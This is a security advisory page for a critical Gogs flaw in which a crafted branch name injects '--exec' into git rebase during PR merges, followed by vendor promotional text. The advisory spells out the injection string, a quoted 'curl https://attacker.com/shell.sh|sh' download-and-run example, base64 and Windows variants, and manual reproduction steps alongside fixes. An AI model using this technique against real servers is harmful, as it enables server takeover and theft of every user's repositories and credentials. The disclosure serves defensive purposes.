gogs.io/gogs

CVE-2026-52806

CVE-2026-52806 is a critical-severity command injection vulnerability in gogs.io/gogs (go), affecting versions < 0.14.3. It is fixed in 0.14.3.

Key facts
CVSS score
9.9
Critical
Attack vector
Network
Issuing authority
GitHub Advisory Database
Affected package
gogs.io/gogs
Fixed in
0.14.3
Disclosed
2026

Summary

Gogs: RCE via git rebase --exec Argument Injection in PR Merge Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the --exec flag into the git rebase command during the "Rebase before merging" merge operation. Severity Critical - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) Affected Versions Gogs 0.14.2 (latest supported release) Gogs 0.15.0+dev (commit b53d3162, main branch as of 2026-03-16) All prior versions that support the "Rebase before merging" merge style Impact This is a privilege escalation from authenticated user to server-level code execution. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: Server compromise: Arbitrary command execution as the Gogs process user Cross-tenant data breach: Read ALL repositories on the instance, including other users' private repos Credential theft: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user Lateral movement: Pivot to other systems accessible from the server's network Supply chain attacks: Silently modify any hosted repository's code. The Gogs process user (typically git) has direct filesystem-level read/write access to every repository on the instance under a single REPOSITORYROOT directory (default: ~/gogs-repositories). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the git user (UID 1000 by default). The severity is heightened because: Open registration by default: Gogs ships with DISABLEREGISTRATION = false, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. No admin required: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: PullsAllowRebase defaults to false, but this is irrelevant since any repo creator can enable it themselves.) The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit The exploit is fully automatable (see PoC) The exploit leaves minimal traces (a 500 error in server logs, easily missed) Prerequisites The attacker needs one of the following: Repo admin/owner on any repository (can enable rebase + create PR + merge) - any user who creates a repo has this by default Write access to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (PullsAllowRebase defaults to false in internal/database/repo.go:215). However: Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced The repo settings endpoint (/settings, action=advanced) requires reqRepoAdmin middleware (internal/cmd/web.go:472) - collaborators with only write access cannot enable it, but repo owners/admins can Many organizations enable rebase merge as a standard practice Root Cause Analysis In internal/database/pull.go, the Merge() function passes the PR's base branch name to git rebase as a positional argument without a -- separator: The pr.BaseBranch value originates from the URL parameter in internal/route/repo/pull.go: Both baseRef and headRef are validated via RevParse (defined in the external git-module library), but this only calls git rev-parse --verify <ref> - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the git rebase command without a -- separator. Exploitation Git branch names can legally contain characters $, {, }, =, -. The attacker creates a branch named: When used as pr.BaseBranch in the rebase command: Git's argument parser treats --exec=touch${IFS}/tmp/rceproof as the --exec flag The --exec flag specifies a command to run via sh -c after each replayed commit ${IFS} expands to a space in the shell, bypassing git's prohibition on spaces in branch names The command touch /tmp/rceproof executes as the Gogs server process user For commands containing characters forbidden in git refs (:, ~, ^, ?, *, , \, //), such as URLs, the attacker base64-encodes the payload: For example, curl https://attacker.com/shell.sh|sh becomes: This was validated end-to-end: a wget command with a URL executed inside the Docker container and wrote the fetched HTML to disk. Full Execution Flow in Merge() The MergeStyleRebase code path in Merge() executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | [1 | git clone -b '<malicious>' <repo> <tmp> | Succeeds - -b consumes --exec=... as the branch value | | 2 | git remote add headrepo <repo> + git fetch headrepo | Succeeds normally | | 3 | git rebase --quiet '<malicious>' 'headrepo/feature' | RCE fires here - --exec=<cmd> parsed as flag, command runs via sh -c | | 4 | git checkout -b <tmpBranch> | Succeeds (tmpBranch is a server-generated timestamp) | | 5 | git checkout '<malicious>' | Fails - git interprets --exec=... as invalid option for checkout | Step 5 failure causes Merge() to return an error (HTTP 500), but the RCE has already executed at Step 3. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs: This is logged via c.Error(err, "merge") at ERROR level. Why the PR Becomes Mergeable The testPatch() function (called during PR creation at line 468) calls UpdateLocalCopyBranch(pr.BaseBranch) (internal/database/repo.go:658), which has two code paths: No local copy exists (first call for a repo): Calls git.Clone() (line 664), which includes --end-of-options → the malicious branch name is treated as data, clone succeeds, and testPatch completes normally. Local copy already exists (subsequent calls): Calls gitRepo.Checkout(branch) (line 684), which is missing --end-of-options → git interprets --exec=... as a flag → checkout fails → testPatch returns an error. The exploit relies on the following causal chain: During PR creation (NewPullRequest, line 468), testPatch() is called. For a fresh repository with no local copy, the Clone path succeeds. Because testPatch didn't set the status to PullRequestStatusConflict, the status remains PullRequestStatusChecking, and the code at line 472-473 promotes it to PullRequestStatusMergeable. The background TestPullRequests goroutine (line 840) periodically re-checks PRs. When it calls testPatch again, the local copy now exists, so UpdateLocalCopyBranch takes the Checkout path → fails → returns an error. This error causes TestPullRequests to skip adding the PR to the update list (return nil at line 855) or skip checkAndUpdateStatus() (continue at line 877). Because checkAndUpdateStatus is never called, the PR status remains at Mergeable indefinitely. The PoC handles this by creating a fresh repository (no local copy exists yet), ensuring the first testPatch succeeds via the Clone path. Proof of Concept A standalone Python exploit (gogs-rebase-rce.py) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, requests, and a local git installation. Usage Demo Run the PoC with a reverse shell payload: Checking the listener: Manual Browser Reproduction This can be reproduced entirely through the Gogs web UI: Prerequisites: A running Gogs instance (e.g., http://localhost:3080) with a registered user account. Step 1: Create a repository and push branches Step 2: Enable rebase in repo settings Navigate to http://localhost:3080/attacker/demo/settings Click Advanced Settings Check Enable Pull Requests, then check Allow rebase Click Save (Or update the database directly: UPDATE repository SET enablepulls=1, pullsallowrebase=1 WHERE lower_name='demo';) Step 3: Create the Pull Request Navigate to the compare URL (base = malicious branch, head = feature): Enter a title (e.g., "RCE PoC") and click New Pull Request. Step 4: Wait for testPatch (~5 seconds) The background TestPullRequests goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear. Step 5: Trigger the merge On the PR page (/attacker/demo/pulls/1), select Rebase before merging Click Merge Pull Request The server returns HTTP 500 (expected - git checkout of the malicious branch name fails after rebase) Step 6: Verify RCE The file was created by the Gogs server process during git rebase --exec Recommended Fix Primary fix: Add -- separator Defense-in-depth: Validate branch names Reject base branch names starting with - at the PR creation endpoint: Additional hardening Apply -- separators to all other process.ExecDir calls in Merge() that use pr.BaseBranch: Line 233: git clone -b pr.BaseBranch (not directly exploitable but should be hardened) Line 297: git checkout pr.BaseBranch (currently fails, but should use -- pr.BaseBranch) Line 315: git push <repo> pr.BaseBranch (should use -- separator) Relationship to Prior Argument Injection Fixes This vulnerability is an incomplete fix bypass of the Category A argument injection invariant that Gogs has been patching across multiple advisories: | Advisory | CVE | Description | Fix Applied | | ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- | | GHSA-m27m-h5gj-wwmg | CVE-2024-39933 | Argument injection when tagging new releases | Added -- separator to git tag | | GHSA-9pp6-wq8c-3w2c | CVE-2024-39932 | Argument injection during changes preview | Added --end-of-options to git diff | | GHSA-v9vm-r24h-6rqm | CVE-2026-26194 | Release tag option injection in deletion | Migrated to safe git-module API | | GHSA-vm62-9jw3-c8w3 | CVE-2024-39930 | Argument injection in built-in SSH server | Added -- separator to git upload-pack / git receive-pack | The git-module library (v1.8.7) was hardened with --end-of-options in Clone(), Push(), Fetch(), and 28 other call sites. However, the Merge() function in internal/database/pull.go bypasses all of these protections because it uses raw process.ExecDir (which wraps exec.Command directly) instead of the safe git-module API. The git rebase call was never migrated. Notably, git-module.Checkout() is also missing --end-of-options, a separate gap that incidentally causes the testPatch race condition this exploit leverages (see "Why the PR Becomes Mergeable" above). Affected Platforms The vulnerability has been confirmed on: Linux: Docker (official image) and binary installation on Ubuntu 24.04 Windows: Binary installation with Git for Windows (MSYS2) On Windows, the base64 inline payload approach fails because NTFS forbids the | character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes --exec=sh${IFS}<filename>. An sh wrapper invokes cmd.exe //c <payload>.bat to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically. Test Environment OS: Ubuntu Linux 24.04, Windows (Git for Windows) Gogs version: 0.14.2 (also confirmed on 0.15.0+dev, commit b53d3162) Go version: go1.26.1 Database: SQLite Deployment: Docker (official image), binary, and built from source Credit Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7

Impact

What is command injection?

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

Severity and exposure

CVE-2026-52806 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.

A fixed version is available (0.14.3). Upgrading removes the vulnerable code path.

Affected versions

go

  • gogs.io/gogs (< 0.14.3)

Security releases

  • gogs.io/gogs → 0.14.3 (go)
Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.

Kodem's Application Detection and Response identifies whether CVE-2026-52806 is reachable in your applications. Explore runtime application protection for your team.

See if CVE-2026-52806 is reachable in your applications. Get a demo

Already deployed Kodem? See CVE-2026-52806 in your environment

Remediation advice

Upgrade gogs.io/gogs to 0.14.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently asked questions about CVE-2026-52806

What is CVE-2026-52806?

CVE-2026-52806 is a critical-severity command injection vulnerability in gogs.io/gogs (go), affecting versions < 0.14.3. It is fixed in 0.14.3. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.

How severe is CVE-2026-52806?

CVE-2026-52806 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Which versions of gogs.io/gogs are affected by CVE-2026-52806?

gogs.io/gogs (go) versions < 0.14.3 is affected.

Is there a fix for CVE-2026-52806?

Yes. CVE-2026-52806 is fixed in 0.14.3. Upgrade to this version or later.

Is CVE-2026-52806 exploitable, and should I be worried?

Whether CVE-2026-52806 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo

What actually determines whether CVE-2026-52806 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

How do I fix CVE-2026-52806?

Upgrade gogs.io/gogs to 0.14.3 or later.

Stop the waste.
Protect your environment with Kodem.